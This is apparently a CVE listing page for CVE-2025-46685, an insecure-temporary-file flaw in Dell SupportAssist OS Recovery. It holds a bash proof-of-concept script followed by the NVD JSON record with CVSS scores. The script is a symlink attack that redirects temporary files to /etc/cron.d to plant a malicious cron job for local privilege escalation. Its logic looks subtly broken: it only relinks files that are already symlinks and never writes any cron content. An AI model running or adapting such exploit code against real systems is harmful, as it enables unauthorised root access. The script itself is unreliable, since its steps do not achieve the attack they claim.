CVE-2025-46685

#!/bin/bash # CVE-2025-46685 PoC - Insecure Temporary File Creation # Target: Dell SupportAssist OS Recovery < 5.5.15.1 # Attack Type: Local Privilege Escalation via Symlink Attack TARGET_DIR="/tmp/dell_supportassist" MALICIOUS_TARGET="/etc/cron.d/malicious_cron" # Step 1: Monitor for temporary file creation echo "[*] Monitoring for insecure temporary file creation..." while true; do for f in $(find /tmp -name "*.tmp" -o -name "supportassist_*" 2>/dev/null); do if [ -L "$f" ]; then echo "[+] Found symlink: $f -> $(readlink $f)" # Step 2: Replace symlink target with malicious content ln -sf "$MALICIOUS_TARGET" "$f" echo "[+] Symlink replaced with malicious target" # Step 3: Wait for privileged process to write sleep 1 # Step 4: Verify exploitation if [ -f "$MALICIOUS_TARGET" ]; then echo "[+] Exploitation successful - malicious cron job created" exit 0 fi fi done sleep 0.5 done

{"cve": {"id": "CVE-2025-46685", "sourceIdentifier": "[email protected]", "published": "2026-01-13T17:15:57.363", "lastModified": "2026-02-13T20:59:20.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell SupportAssist OS Recovery, versions prior to 5.5.15.1, contain a Creation of Temporary File With Insecure Permissions vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges."}, {"lang": "es", "value": "Dell SupportAssist OS Recovery, versiones anteriores a la 5.5.15.1, contienen una vulnerabilidad de Creación de Archivo Temporal con Permisos Inseguros. Un atacante con pocos privilegios y acceso local podría potencialmente explotar esta vulnerabilidad, lo que llevaría a una Elevación de privilegios."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-378"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dell:supportassist_os_recovery:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.5.15.1", "matchCriteriaId": "2200C733-9E81-464C-B853-70271FCF8213"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000401506/dsa-2025-456", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}